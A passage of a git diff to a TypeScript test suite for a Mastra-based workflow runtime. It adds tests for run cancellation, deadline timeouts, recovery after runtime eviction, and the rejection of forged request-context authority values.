+      economicOperations: [{ id: 'charge-1', settlementState: 'disputed' }],
     });
-    legs.length = 0;
 
-    let preparedWorkflowScope: unknown;
-    let preparedIsolationScope: unknown;
-    await runtime.resume('resuspend', started.runId, {
-      step: 'gate2x',
-      resumeData: { go: true },
-      requestedBy: 'reviewer-1',
-      requestedByKind: 'human',
-      prepareExecution: async (context) => {
-        preparedWorkflowScope = context.get('breakwater.workflowScope');
-        preparedIsolationScope = context.get('breakwater.isolationScope');
-        const provenance = context.get('flowsafe.runProvenance') as {
-          requestedBy?: string;
-        };
-        provenance.requestedBy = 'forged';
-        context.clear();
+    await expect(
+      runtime.cancelActiveExecution(
+        'demo-approval',
+        started.runId,
+        'cancelled',
+        [principal],
+      ),
+    ).rejects.toMatchObject({
+      reason: {
+        code: 'DISPUTED_SETTLEMENT',
+        message:
+          'run termination is blocked while an economic operation is disputed',
       },
     });
-
-    expect(preparedWorkflowScope).toBe('resuspend');
-    expect(preparedIsolationScope).toBeUndefined();
-    expect(legs).toHaveLength(1);
-    expect(legs[0]).toMatchObject({
-      kind: 'resume',
-      step: ['gate2x'],
-    });
     await expect(
-      runtime.status('resuspend', started.runId),
-    ).resolves.toMatchObject({
-      requestedBy: 'reviewer-1',
-      resumeCount: { gate2x: 1 },
+      runtime.terminateAsPrincipal(
+        'demo-approval',
+        started.runId,
+        principal,
+        principal,
+      ),
+    ).rejects.toMatchObject({
+      reason: { code: 'DISPUTED_SETTLEMENT' },
     });
+    await expect(
+      runtime.status('demo-approval', started.runId),
+    ).resolves.toMatchObject({ status: 'suspended' });
   });
 
-  it('carries resumeCount on a NO-PAYLOAD re-suspension even though Mastra omits resumedAt', async () => {
-    // #given — the regression: a falsy resume re-suspends via
-    // `if (!resumeData) return suspend(...)`, so Mastra never stamps resumedAt.
-    const runtime = buildReSuspender();
-    const started = await runtime.start('resuspend', {
-      runId: crypto.randomUUID(),
+  it('aborts a live running step before persisting the cancelled terminal', async () => {
+    const { runtime, entered, completed } = heldRuntime();
+    const starting = runtime.start('held-workflow', {
+      runId: 'held-cancel',
       inputData: {},
+      requestedBy: principal.id,
+      requestedByKind: principal.kind,
     });
+    await entered;
 
-    // #when — resume with NO resumeData; gate2x re-suspends (round 1 again)
-    const reSuspended = await runtime.resume('resuspend', started.runId, {
-      step: 'gate2x',
+    await expect(
+      runtime.cancelActiveExecution(
+        'held-workflow',
+        'held-cancel',
+        'cancelled',
+        [principal],
+      ),
+    ).resolves.toBe(true);
+    await expect(starting).resolves.toMatchObject({ status: 'canceled' });
+    await expect(
+      runtime.terminateAsPrincipal(
+        'held-workflow',
+        'held-cancel',
+        principal,
+        principal,
+      ),
+    ).resolves.toMatchObject({
+      transitioned: true,
+      summary: { status: 'cancelled', errorEnvelope: { code: 'CANCELLED' } },
     });
-
-    // #then — resumedAt stays undefined (Mastra's payload-conditional stamp),
-    // but the runtime-owned resumeCount is present, so the grant binding can
-    // still tell this re-suspension apart from the first suspension. Pre-fix
-    // (resumeCount did not exist) this re-suspension was indistinguishable.
-    expect(reSuspended.suspended).toEqual([['gate2x']]);
-    expect(reSuspended.resumedAt?.gate2x).toBeUndefined();
-    expect(reSuspended.resumeCount?.gate2x).toBe(1);
+    expect(completed()).toBe(false);
+    await expect(
+      runtime.status('held-workflow', 'held-cancel'),
+    ).resolves.toMatchObject({ status: 'cancelled' });
   });
 
-  it('a required resumeSchema rejects a no-payload resume (why the falsy path needs a schema-less step)', async () => {
-    // Tripwire pinning the Mastra-version-dependent boundary the falsy-resume
-    // fixtures rely on: with a REQUIRED resumeSchema, core validates resume
-    // data and rejects a no-payload resume BEFORE execute, so the falsy-resume
-    // re-suspension (the bug's trigger) is only reachable for schema-less /
-    // optional-schema / validateInputs-off steps. If a Mastra bump changes
-    // this, the "schema-less fixture required" assumption (buildReSuspender,
-    // the relaunch-falsy e2e fixture) goes silently stale.
-    const { createWorkflow, createStep, runtime } = init(
-      { storage: new InMemoryStore() },
-      { startIdempotency: 'none', executionFence: 'none' },
-    );
-    const schemaGate = createStep({
-      id: 'schemaGate',
-      inputSchema: z.object({}),
-      outputSchema: z.object({}),
-      suspendSchema: z.object({ reason: z.string() }),
-      resumeSchema: z.object({ go: z.boolean() }),
-      execute: async ({ resumeData, suspend }) => {
-        if (!resumeData) return suspend({ reason: 'awaiting' });
-        return {};
-      },
+  it('retries a live abort when the durable intent survived a transient cancel failure', async () => {
+    const { runtime, entered, completed } = heldRuntime({
+      cancelFailures: 1,
     });
-    createWorkflow({
-      id: 'schema-gate',
-      inputSchema: z.object({}),
-      outputSchema: z.object({}),
-    })
-      .then(schemaGate)
-      .commit();
-    const started = await runtime.start('schema-gate', {
-      runId: crypto.randomUUID(),
+    const starting = runtime.start('held-workflow', {
+      runId: 'held-cancel-retry',
       inputData: {},
     });
-    expect(started.status).toBe('suspended');
+    await entered;
 
-    // #when / #then — a no-payload resume is rejected as invalid resume data,
-    // never reaching execute (so it cannot re-suspend without a resumedAt)
     await expect(
-      runtime.resume('schema-gate', started.runId, { step: 'schemaGate' }),
-    ).rejects.toThrow(/resume data/i);
+      runtime.cancelActiveExecution(
+        'held-workflow',
+        'held-cancel-retry',
+        'cancelled',
+        [principal],
+      ),
+    ).rejects.toThrow('injected cancel failure');
+    await expect(
+      runtime.cancelActiveExecution(
+        'held-workflow',
+        'held-cancel-retry',
+        'cancelled',
+        [principal],
+      ),
+    ).resolves.toBe(true);
+    await expect(starting).resolves.toMatchObject({ status: 'canceled' });
+    await expect(
+      runtime.terminateAsPrincipal(
+        'held-workflow',
+        'held-cancel-retry',
+        principal,
+        principal,
+      ),
+    ).resolves.toMatchObject({
+      summary: { status: 'cancelled' },
+      transitioned: true,
+    });
+    expect(completed()).toBe(false);
   });
 
-  it('passes resumeCount on the resume leg, incrementing per resume', async () => {
-    // #given — a provider recording every leg
-    const legs: RunLeg[] = [];
-    const runtime = buildReSuspender((leg) => legs.push(leg));
-
-    // #when — start (round-1 suspension) then resume, which re-suspends
-    const started = await runtime.start('resuspend', {
-      runId: crypto.randomUUID(),
+  it('does not abort a live running step initialized with a disputed settlement', async () => {
+    const { runtime, entered, release, completed } = heldRuntime();
+    const starting = runtime.start('held-workflow', {
+      runId: 'held-disputed',
       inputData: {},
+      economicOperations: [{ id: 'charge-live', settlementState: 'disputed' }],
     });
-    await runtime.resume('resuspend', started.runId, {
-      step: 'gate2x',
-      resumeData: { go: true },
-    });
+    await entered;
 
-    // #then — the leg that reattached to the first suspension read snapshot
-    // provenance before any resume, so its resumeCount is undefined
-    expect(legs[1]).toMatchObject({
-      kind: 'resume',
-      step: ['gate2x'],
-      suspendedAt: expect.any(Number),
+    await expect(
+      runtime.cancelActiveExecution(
+        'held-workflow',
+        'held-disputed',
+        'cancelled',
+        [principal],
+      ),
+    ).rejects.toMatchObject({
+      reason: { code: 'DISPUTED_SETTLEMENT' },
     });
-    expect((legs[1] as { resumeCount?: number }).resumeCount).toBeUndefined();
+    release();
+    await expect(starting).resolves.toMatchObject({ status: 'success' });
+    expect(completed()).toBe(true);
+  });
 
-    // #when — resume again, reattaching to the RE-suspension
-    const done = await runtime.resume('resuspend', started.runId, {
-      step: 'gate2x',
-      resumeData: { go: true },
+  it('extends a persisted deadline on resume and times out only once', async () => {
+    const now = vi.spyOn(Date, 'now');
+    now.mockReturnValue(10_000);
+    const { runtime } = buildRuntime(new InMemoryStore());
+    const started = await runtime.start('demo-approval', {
+      runId: 'deadline-resume',
+      inputData: { topic: 'deadline' },
+      deadlineMs: 100,
     });
+    expect(started.deadlineAt).toBe(10_100);
 
-    // #then — one prior resume happened, so this leg carries resumeCount 1
-    expect(done.status).toBe('success');
-    expect(legs[2]).toMatchObject({
-      kind: 'resume',
-      step: ['gate2x'],
-      suspendedAt: expect.any(Number),
-      resumeCount: 1,
+    now.mockReturnValue(10_050);
+    const resumed = await runtime.resume('demo-approval', started.runId, {
+      resumeData: { approvedBy: 'reviewer-1' },
+      deadlineMs: 1_000,
     });
-  });
+    expect(resumed.deadlineAt).toBe(11_050);
 
-  it('marks only the resumed branch, leaving a co-suspended branch a first suspension', async () => {
-    // #given — two parallel gates both suspend; gateA re-suspends on a payload
-    // resume (round 2), gateB stays at its first suspension.
-    const { createWorkflow, createStep, runtime } = init(
-      { storage: new InMemoryStore() },
-      { startIdempotency: 'none', executionFence: 'none' },
-    );
-    let aRounds = 0;
-    const gateA = createStep({
-      id: 'gateA',
-      inputSchema: z.object({}),
-      outputSchema: z.object({ ok: z.boolean() }),
-      suspendSchema: z.object({ reason: z.string() }),
-      resumeSchema: z.object({ go: z.boolean() }),
-      execute: async ({ resumeData, suspend }) => {
-        if (!resumeData) return suspend({ reason: 'A round 1' });
-        aRounds += 1;
-        if (aRounds < 2) return suspend({ reason: 'A round 2' });
-        return { ok: true };
-      },
-    });
-    const gateB = createStep({
-      id: 'gateB',
-      inputSchema: z.object({}),
-      outputSchema: z.object({ ok: z.boolean() }),
-      suspendSchema: z.object({ reason: z.string() }),
-      resumeSchema: z.object({ go: z.boolean() }),
-      execute: async ({ resumeData, suspend }) =>
-        resumeData ? { ok: true } : suspend({ reason: 'B waits' }),
-    });
-    createWorkflow({
-      id: 'parallel-resuspend',
-      inputSchema: z.object({}),
-      outputSchema: z.object({}),
-    })
-      .parallel([gateA, gateB])
-      .commit();
-    const started = await runtime.start('parallel-resuspend', {
-      runId: crypto.randomUUID(),
-      inputData: {},
+    const timeoutRun = await runtime.start('demo-approval', {
+      runId: 'deadline-once',
+      inputData: { topic: 'timeout' },
+      deadlineMs: 0,
     });
-    expect(started.suspended).toHaveLength(2);
-    expect(started.resumeCount?.gateA).toBeUndefined();
-    expect(started.resumeCount?.gateB).toBeUndefined();
-
-    // #when — resume ONLY gateA; it re-suspends (round 2), gateB is untouched
-    const reSuspended = await runtime.resume(
-      'parallel-resuspend',
-      started.runId,
-      { step: 'gateA', resumeData: { go: true } },
+    const first = await runtime.timeOut(
+      'demo-approval',
+      timeoutRun.runId,
+      { expectedRevision: 1, expectedDeadlineAt: 10_050 },
+      10_050,
     );
-
-    // #then — gateA carries resumeCount 1 (it was resumed); gateB, never
-    // resumed, stays undefined — its own first suspension, not collapsed into
-    // gateA's ordinal in snapshot provenance.
-    expect(reSuspended.status).toBe('suspended');
-    expect(reSuspended.resumeCount?.gateA).toBe(1);
-    expect(reSuspended.resumeCount?.gateB).toBeUndefined();
+    const second = await runtime.timeOut(
+      'demo-approval',
+      timeoutRun.runId,
+      { expectedRevision: 1, expectedDeadlineAt: 10_050 },
+      10_051,
+    );
+    expect(first.transitioned).toBe(true);
+    expect(second.transitioned).toBe(false);
+    expect(second.summary).toEqual(first.summary);
+    expect(first.summary).toMatchObject({
+      status: 'timed_out',
+      errorEnvelope: { code: 'TIMED_OUT', message: 'run deadline expired' },
+    });
+    now.mockRestore();
+  });
+
+  it('rejects a stale deadline CAS while an extended resume leg is active', async () => {
+    const now = vi.spyOn(Date, 'now');
+    try {
+      now.mockReturnValue(20_000);
+      const { runtime, entered, release, completed } = heldRuntime({
+        suspendFirst: true,
+      });
+      const started = await runtime.start('held-workflow', {
+        runId: 'held-resume-extension',
+        inputData: {},
+        deadlineMs: 100,
+      });
+      expect(started).toMatchObject({
+        status: 'suspended',
+        deadlineAt: 20_100,
+      });
+
+      now.mockReturnValue(20_050);
+      const resuming = runtime.resume(
+        'held-workflow',
+        'held-resume-extension',
+        { resumeData: { approved: true }, deadlineMs: 1_000 },
+      );
+      await entered;
+      await expect(
+        runtime.cancelActiveExecution(
+          'held-workflow',
+          'held-resume-extension',
+          'timed_out',
+          [principal],
+          { expectedRevision: 1, expectedDeadlineAt: 20_100 },
+          20_100,
+        ),
+      ).resolves.toBe(false);
+
+      release();
+      await expect(resuming).resolves.toMatchObject({
+        status: 'success',
+        deadlineAt: 21_050,
+      });
+      expect(completed()).toBe(true);
+    } finally {
+      now.mockRestore();
+    }
+  });
+
+  it('preserves an active resume extension and cancellation intent through fresh-runtime recovery', async () => {
+    const now = vi.spyOn(Date, 'now');
+    try {
+      const storage = new InMemoryStore();
+      now.mockReturnValue(30_000);
+      const { runtime, entered } = heldRuntime({
+        suspendFirst: true,
+        storage,
+      });
+      await runtime.start('held-workflow', {
+        runId: 'held-resume-cancel-recovery',
+        inputData: {},
+        deadlineMs: 100,
+      });
+
+      now.mockReturnValue(30_050);
+      const resuming = runtime.resume(
+        'held-workflow',
+        'held-resume-cancel-recovery',
+        {
+          resumeData: { approved: true },
+          deadlineMs: 1_000,
+          economicOperations: [
+            { id: 'charge-resume', settlementState: 'settled' },
+          ],
+        },
+      );
+      await entered;
+      await expect(
+        runtime.cancelActiveExecution(
+          'held-workflow',
+          'held-resume-cancel-recovery',
+          'cancelled',
+          [principal],
+        ),
+      ).resolves.toBe(true);
+      await expect(resuming).resolves.toMatchObject({ status: 'canceled' });
+
+      const workflows = await storage.getStore('workflows');
+      const precursor = await workflows?.loadWorkflowSnapshot({
+        workflowName: 'held-workflow',
+        runId: 'held-resume-cancel-recovery',
+      });
+      expect(
+        precursor?.requestContext?.['flowsafe.runLifecycle'],
+      ).toMatchObject({
+        revision: 3,
+        deadlineAt: 31_050,
+        economicOperations: [
+          { id: 'charge-resume', settlementState: 'settled' },
+        ],
+        transitionIntent: { status: 'cancelled' },
+      });
+
+      const fresh = heldRuntime({ suspendFirst: true, storage }).runtime;
+      await expect(
+        fresh.terminateAsPrincipal(
+          'held-workflow',
+          'held-resume-cancel-recovery',
+          principal,
+          principal,
+        ),
+      ).resolves.toMatchObject({
+        transitioned: true,
+        summary: {
+          status: 'cancelled',
+          deadlineAt: 31_050,
+          errorEnvelope: { code: 'CANCELLED' },
+        },
+      });
+      const terminal = await workflows?.loadWorkflowSnapshot({
+        workflowName: 'held-workflow',
+        runId: 'held-resume-cancel-recovery',
+      });
+      expect(terminal?.requestContext?.['flowsafe.runLifecycle']).toMatchObject(
+        {
+          economicOperations: [
+            { id: 'charge-resume', settlementState: 'settled' },
+          ],
+          terminal: { status: 'cancelled' },
+        },
+      );
+    } finally {
+      now.mockRestore();
+    }
+  });
+
+  it('fences a resume that is still preparing when termination begins', async () => {
+    const storage = new InMemoryStore();
+    const { runtime, completed } = heldRuntime({
+      suspendFirst: true,
+      storage,
+    });
+    await runtime.start('held-workflow', {
+      runId: 'resume-preparation-terminate',
+      inputData: {},
+      deadlineMs: 100,
+    });
+    let preparationEntered!: () => void;
+    let releasePreparation!: () => void;
+    const entered = new Promise<void>((resolve) => {
+      preparationEntered = resolve;
+    });
+    const preparation = new Promise<void>((resolve) => {
+      releasePreparation = resolve;
+    });
+
+    const resuming = runtime.resume(
+      'held-workflow',
+      'resume-preparation-terminate',
+      {
+        resumeData: { approved: true },
+        deadlineMs: 1_000,
+        prepareExecution: async () => {
+          preparationEntered();
+          await preparation;
+        },
+      },
+    );
+    await entered;
+
+    await expect(
+      runtime.cancelActiveExecution(
+        'held-workflow',
+        'resume-preparation-terminate',
+        'cancelled',
+        [principal],
+      ),
+    ).resolves.toBe(false);
+    releasePreparation();
+    await expect(resuming).rejects.toMatchObject({
+      name: 'RunTerminalConflictError',
+    });
+    await expect(
+      runtime.terminateAsPrincipal(
+        'held-workflow',
+        'resume-preparation-terminate',
+        principal,
+        principal,
+      ),
+    ).resolves.toMatchObject({
+      transitioned: true,
+      summary: {
+        status: 'cancelled',
+        deadlineAt: expect.any(Number),
+      },
+    });
+    expect(completed()).toBe(false);
+  });
+
+  it('re-drives a persisted core-canceled precursor after runtime eviction', async () => {
+    const storage = new InMemoryStore();
+    const before = buildRuntime(storage).runtime;
+    await before.start('demo-approval', {
+      runId: 'canceled-wedge',
+      inputData: { topic: 'wedge' },
+      deadlineMs: 1_000,
+    });
+    const workflows = await storage.getStore('workflows');
+    const snapshot = await workflows?.loadWorkflowSnapshot({
+      workflowName: 'demo-approval',
+      runId: 'canceled-wedge',
+    });
+    if (!workflows || !snapshot) throw new Error('snapshot missing');
+    await workflows.persistWorkflowSnapshot({
+      workflowName: 'demo-approval',
+      runId: 'canceled-wedge',
+      snapshot: {
+        ...snapshot,
+        status: 'canceled',
+        requestContext: {
+          ...snapshot.requestContext,
+          'flowsafe.runLifecycle': {
+            version: 1,
+            revision: 2,
+            deadlineAt: snapshot.requestContext?.['flowsafe.runLifecycle']
+              ? (
+                  snapshot.requestContext['flowsafe.runLifecycle'] as {
+                    deadlineAt: number;
+                  }
+                ).deadlineAt
+              : 0,
+            transitionIntent: {
+              status: 'cancelled',
+              requestedAt: Date.now(),
+              replayPrincipals: [principal],
+            },
+          },
+        },
+      },
+    });
+
+    const after = buildRuntime(storage).runtime;
+    await expect(
+      after.terminateAsPrincipal(
+        'demo-approval',
+        'canceled-wedge',
+        principal,
+        principal,
+      ),
+    ).resolves.toMatchObject({
+      transitioned: true,
+      summary: {
+        status: 'cancelled',
+        errorEnvelope: { code: 'CANCELLED' },
+      },
+    });
+  });
+
+  it('re-drives a persisted cancellation intent after core writes late success', async () => {
+    const storage = new InMemoryStore();
+    const before = buildRuntime(storage).runtime;
+    await before.start('demo-approval', {
+      runId: 'success-after-cancel-intent',
+      inputData: { topic: 'late-success' },
+      deadlineMs: 1_000,
+    });
+    const workflows = await storage.getStore('workflows');
+    const snapshot = await workflows?.loadWorkflowSnapshot({
+      workflowName: 'demo-approval',
+      runId: 'success-after-cancel-intent',
+    });
+    if (!workflows || !snapshot) throw new Error('snapshot missing');
+    const lifecycle = snapshot.requestContext?.[
+      'flowsafe.runLifecycle'
+    ] as Record<string, unknown>;
+    await workflows.persistWorkflowSnapshot({
+      workflowName: 'demo-approval',
+      runId: 'success-after-cancel-intent',
+      snapshot: {
+        ...snapshot,
+        status: 'success',
+        result: { late: true },
+        requestContext: {
+          ...snapshot.requestContext,
+          'flowsafe.runLifecycle': {
+            ...lifecycle,
+            revision: 2,
+            transitionIntent: {
+              status: 'cancelled',
+              requestedAt: Date.now(),
+              replayPrincipals: [principal],
+            },
+          },
+        },
+      },
+    });
+
+    const after = buildRuntime(storage).runtime;
+    await expect(
+      after.terminateAsPrincipal(
+        'demo-approval',
+        'success-after-cancel-intent',
+        principal,
+        principal,
+      ),
+    ).resolves.toMatchObject({
+      transitioned: true,
+      summary: {
+        status: 'cancelled',
+        errorEnvelope: { code: 'CANCELLED' },
+      },
+    });
+    await expect(
+      after.status('demo-approval', 'success-after-cancel-intent'),
+    ).resolves.toMatchObject({
+      status: 'cancelled',
+      errorEnvelope: { code: 'CANCELLED' },
+    });
+  });
+
+  it('repairs an intent dropped by one stale late-success snapshot write', async () => {
+    const storage = new InMemoryStore();
+    const workflows = await storage.getStore('workflows');
+    if (!workflows) throw new Error('workflows storage missing');
+    const originalPersist = workflows.persistWorkflowSnapshot.bind(workflows);
+    let droppedIntent = false;
+    Object.defineProperty(workflows, 'persistWorkflowSnapshot', {
+      configurable: true,
+      value: async (
+        input: Parameters<typeof workflows.persistWorkflowSnapshot>[0],
+      ) => {
+        const lifecycle = input.snapshot.requestContext?.[
+          'flowsafe.runLifecycle'
+        ] as Record<string, unknown> | undefined;
+        if (
+          !droppedIntent &&
+          input.snapshot.status === 'success' &&
+          lifecycle?.transitionIntent
+        ) {
+          droppedIntent = true;
+          const { transitionIntent: _intent, ...staleLifecycle } = lifecycle;
+          return originalPersist({
+            ...input,
+            snapshot: {
+              ...input.snapshot,
+              requestContext: {
+                ...input.snapshot.requestContext,
+                'flowsafe.runLifecycle': staleLifecycle,
+              },
+            },
+          });
+        }
+        return originalPersist(input);
+      },
+    });
+    const { runtime, entered, release } = heldRuntime({
+      storage,
+      cancelNoop: true,
+    });
+    const starting = runtime.start('held-workflow', {
+      runId: 'stale-success-intent-repair',
+      inputData: {},
+    });
+    await entered;
+    await expect(
+      runtime.cancelActiveExecution(
+        'held-workflow',
+        'stale-success-intent-repair',
+        'cancelled',
+        [principal],
+      ),
+    ).resolves.toBe(true);
+    release();
+    await expect(starting).resolves.toMatchObject({ status: 'success' });
+    expect(droppedIntent).toBe(true);
+
+    const repaired = await workflows.loadWorkflowSnapshot({
+      workflowName: 'held-workflow',
+      runId: 'stale-success-intent-repair',
+    });
+    expect(repaired?.requestContext?.['flowsafe.runLifecycle']).toMatchObject({
+      transitionIntent: { status: 'cancelled' },
+    });
+
+    const fresh = heldRuntime({ storage }).runtime;
+    await expect(
+      fresh.terminateAsPrincipal(
+        'held-workflow',
+        'stale-success-intent-repair',
+        principal,
+        principal,
+      ),
+    ).resolves.toMatchObject({
+      transitioned: true,
+      summary: { status: 'cancelled' },
+    });
+  });
+
+  it('serializes terminal reconciliation with a concurrent cancellation preflight', async () => {
+    const storage = new InMemoryStore();
+    const { createWorkflow, createStep, runtime } = init(
+      { storage },
+      { startIdempotency: 'none', executionFence: 'none' },
+    );
+    const step = createStep({
+      id: 'finish',
+      inputSchema: z.object({}),
+      outputSchema: z.object({ ok: z.boolean() }),
+      execute: async () => ({ ok: true }),
+    });
+    const workflow = createWorkflow({
+      id: 'reconcile-lock',
+      inputSchema: z.object({}),
+      outputSchema: z.object({ ok: z.boolean() }),
+      options: {
+        shouldPersistSnapshot: ({ workflowStatus }) =>
+          workflowStatus === 'pending',
+      },
+    })
+      .then(step)
+      .commit();
+    let coreReturned = false;
+    const originalCreateRun = workflow.createRun.bind(workflow);
+    Object.defineProperty(workflow, 'createRun', {
+      configurable: true,
+      value: async (...args: Parameters<typeof workflow.createRun>) => {
+        const run = await originalCreateRun(...args);
+        const originalStart = run.start.bind(run);
+        Object.defineProperty(run, 'start', {
+          configurable: true,
+          value: async (...startArgs: Parameters<typeof run.start>) => {
+            const result = await originalStart(...startArgs);
+            coreReturned = true;
+            return result;
+          },
+        });
+        return run;
+      },
+    });
+    const workflows = await storage.getStore('workflows');
+    if (!workflows) throw new Error('workflows storage missing');
+    const originalLoad = workflows.loadWorkflowSnapshot.bind(workflows);
+    let reconciliationLoaded!: () => void;
+    let releaseReconciliation!: () => void;
+    const loaded = new Promise<void>((resolve) => {
+      reconciliationLoaded = resolve;
+    });
+    const held = new Promise<void>((resolve) => {
+      releaseReconciliation = resolve;
+    });
+    let blocked = false;
+    vi.spyOn(workflows, 'loadWorkflowSnapshot').mockImplementation(
+      async (input) => {
+        const snapshot = await originalLoad(input);
+        if (
+          coreReturned &&
+          !blocked &&
+          input.workflowName === 'reconcile-lock' &&
+          input.runId === 'reconcile-race'
+        ) {
+          blocked = true;
+          reconciliationLoaded();
+          await held;
+        }
+        return snapshot;
+      },
+    );
+
+    const starting = runtime.start('reconcile-lock', {
+      runId: 'reconcile-race',
+      inputData: {},
+    });
+    await loaded;
+    let cancellationSettled = false;
+    const cancellation = runtime
+      .cancelActiveExecution('reconcile-lock', 'reconcile-race', 'cancelled', [
+        principal,
+      ])
+      .finally(() => {
+        cancellationSettled = true;
+      });
+    await Promise.resolve();
+    expect(cancellationSettled).toBe(false);
+
+    releaseReconciliation();
+    await expect(starting).resolves.toMatchObject({ status: 'success' });
+    await expect(cancellation).rejects.toMatchObject({
+      name: 'RunTerminalConflictError',
+    });
+    await expect(
+      runtime.status('reconcile-lock', 'reconcile-race'),
+    ).resolves.toMatchObject({ status: 'success' });
+  });
+});
+
+describe('RunnerRuntime requestContextForRun', () => {
+  interface Observation {
+    leg: 'start' | 'resume';
+    a: unknown;
+    b: unknown;
+  }
+
+  function buildContextProbe(
+    provider: RequestContextProvider,
+    storage: MastraCompositeStore = new InMemoryStore(),
+  ): {
+    runtime: RunnerRuntime;
+    seen: Observation[];
+  } {
+    const seen: Observation[] = [];
+    const { createWorkflow, createStep, runtime } = init(
+      { storage },
+      {
+        startIdempotency: 'none',
+        requestContextForRun: provider,
+        executionFence: 'none',
+      },
+    );
+    const inspect = createConnector({
+      id: 'inspect-context',
+      description: 'Inspect application context at the connector boundary',
+      inputSchema: z.object({ leg: z.enum(['start', 'resume']) }),
+      outputSchema: z.object({}),
+      permissions: { sideEffect: 'read' },
+      execute: async ({ leg }, { requestContext }) => {
+        assert(requestContext);
+        seen.push({
+          leg,
+          a: requestContext.get('test.a'),
+          b: requestContext.get('test.b'),
+        });
+        return {};
+      },
+    });
+    const first = createStep({
+      id: 'first',
+      inputSchema: z.object({}),
+      outputSchema: z.object({}),
+      execute: async ({ requestContext }) =>
+        invokeConnector(inspect, { leg: 'start' as const }, { requestContext }),
+    });
+    const gate = createStep({
+      id: 'gate',
+      inputSchema: z.object({}),
+      outputSchema: z.object({}),
+      suspendSchema: z.object({ reason: z.string() }),
+      resumeSchema: z.object({ go: z.boolean() }),
+      execute: async ({ resumeData, suspend, requestContext }) => {
+        if (!resumeData) return suspend({ reason: 'wait' });
+        return invokeConnector(
+          inspect,
+          { leg: 'resume' as const },
+          { requestContext },
+        );
+      },
+    });
+    createWorkflow({
+      id: 'probe',
+      inputSchema: z.object({}),
+      outputSchema: z.object({}),
+    })
+      .then(first)
+      .then(gate)
+      .commit();
+    return { runtime, seen };
+  }
+
+  it('merges stored application context below provider and Runtime authority in a connector', async () => {
+    const seen: Record<string, unknown> = {};
+    const { createWorkflow, createStep, runtime } = init(
+      { storage: new InMemoryStore() },
+      {
+        startIdempotency: 'none',
+        requestContextForRun: () => ({
+          'test.a': 'provider',
+          'breakwater.actor': { id: 'trusted-operator', role: 'operator' },
+          threadId: 'trusted-thread',
+          'breakwater.workflowScope': 'provider-forged-scope',
+          runId: 'provider-forged-run',
+        }),
+        executionFence: 'none',
+      },
+    );
+    const connector = createConnector({
+      id: 'inspect-application-context',
+      description: 'Inspect stored context and execution authority',
+      inputSchema: z.object({}),
+      outputSchema: z.object({}),
+      permissions: { sideEffect: 'read' },
+      execute: async (_input, { requestContext }) => {
+        assert(requestContext);
+        seen.a = requestContext.get('test.a');
+        seen.b = requestContext.get('test.b');
+        seen.workflowScope = requestContext.get('breakwater.workflowScope');
+        seen.actor = requestContext.get('breakwater.actor');
+        seen.threadId = requestContext.get('threadId');
+        seen.runId = requestContext.get('runId');
+        seen.execution = requestContext.get('breakwater.connectorExecution');
+        seen.isolation = requestContext.get('breakwater.isolationScope');
+        seen.grants = requestContext.get('breakwater.connectorGrants');
+        seen.customCapability = requestContext.get('breakwater.customGrant');
+        return {};
+      },
+    });
+    const inspect = createStep({
+      id: 'inspect-context',
+      inputSchema: z.object({}),
+      outputSchema: z.object({}),
+      execute: async ({ requestContext }) =>
+        invokeConnector(connector, {}, { requestContext }),
+    });
+    createWorkflow({
+      id: 'application-context',
+      inputSchema: z.object({}),
+      outputSchema: z.object({}),
+    })
+      .then(inspect)
+      .commit();
+
+    const result = await runtime.start('application-context', {
+      runId: 'application-context-run',
+      inputData: {},
+      storedRequestContext: {
+        'test.a': 'stored',
+        'test.b': 'stored-only',
+        'breakwater.workflowScope': 'forged',
+        'breakwater.actor': { id: 'forged-admin', role: 'admin' },
+        'breakwater.isolationScope': 'forged-isolation',
+        'breakwater.connectorGrants': ['forged-grant'],
+        'breakwater.customGrant': 'forged-capability',
+        'breakwater.connectorExecution': { kind: 'resume' },
+        threadId: 'forged-thread',
+        runId: 'forged-run',
+      },
+    });
+
+    expect(result.status).toBe('success');
+    expect(seen).toEqual({
+      a: 'provider',
+      b: 'stored-only',
+      workflowScope: 'application-context',
+      actor: { id: 'trusted-operator', role: 'operator' },
+      threadId: 'trusted-thread',
+      runId: 'application-context-run',
+      execution: {
+        kind: 'start',
+        workflowId: 'application-context',
+        runId: 'application-context-run',
+      },
+      isolation: undefined,
+      grants: undefined,
+      customCapability: undefined,
+    });
+  });
+
+  it('restores stored application context through a fresh Runtime and D1 storage adapter', async () => {
+    const binding = sqliteUnitDatabase(openSqlite()) as D1DatabaseBinding;
+    const provider = vi.fn<RequestContextProvider>(
+      (_workflowId, _runId, leg) => ({
+        'test.a': `provider-${leg.kind}`,
+      }),
+    );
+    const stored = { workspaceId: 'workspace-1', tags: ['persisted', 'api'] };
+    const before = buildContextProbe(provider, createD1Storage({ binding }));
+    const started = await before.runtime.start('probe', {
+      runId: 'stored-context-resume',
+      inputData: {},
+      storedRequestContext: { 'test.a': 'stored', 'test.b': stored },
+    });
+    expect(started.status).toBe('suspended');
+    expect(before.seen).toEqual([
+      { leg: 'start', a: 'provider-start', b: stored },
+    ]);
+
+    const after = buildContextProbe(provider, createD1Storage({ binding }));
+    const resumed = await after.runtime.resume('probe', started.runId, {
+      step: 'gate',
+      resumeData: { go: true },
+    });
+
+    expect(resumed.status).toBe('success');
+    expect(after.seen).toEqual([
+      { leg: 'resume', a: 'provider-resume', b: stored },
+    ]);
+    expect(
+      provider.mock.calls.map(([_workflowId, _runId, leg]) => leg.kind),
+    ).toEqual(['start', 'resume']);
+  });
+
+  it.each([
+    'stored-grants',
+    'provider-refresh',
+    'provider-revocation',
+  ] as const)('enforces connector capability provenance across fresh Runtime legs: %s', async (mode) => {
+    const storage = new InMemoryStore();
+    const seen: Record<string, unknown>[] = [];
+    const storedGrant = {
+      scope: 'run',
+      connectorId: 'context-writer',
+      workflowId: 'context-grants',
+      runId: 'context-grants-run',
+    };
+    const provider = vi.fn<RequestContextProvider>(
+      (workflowId, runId, leg) => ({
+        'test.source': `provider-${leg.kind}`,
+        ...(mode === 'stored-grants'
+          ? {}
+          : {
+              'breakwater.connectorGrants':
+                leg.kind === 'resume' && mode === 'provider-revocation'
+                  ? []
+                  : [
+                      leg.kind === 'start'
+                        ? storedGrant
+                        : {
+                            scope: 'suspension',
+                            connectorId: 'context-writer',
+                            workflowId,
+                            runId,
+                            suspension: {
+                              stepPath: leg.step,
+                              suspendedAt: leg.suspendedAt,
+                            },
+                          },
+                    ],
+            }),
+      }),
+    );
+    const build = () => {
+      const app = init(
+        { storage },
+        {
+          startIdempotency: 'none',
+          executionFence: 'none',
+          requestContextForRun: provider,
+        },
+      );
+      const writer = createConnector({
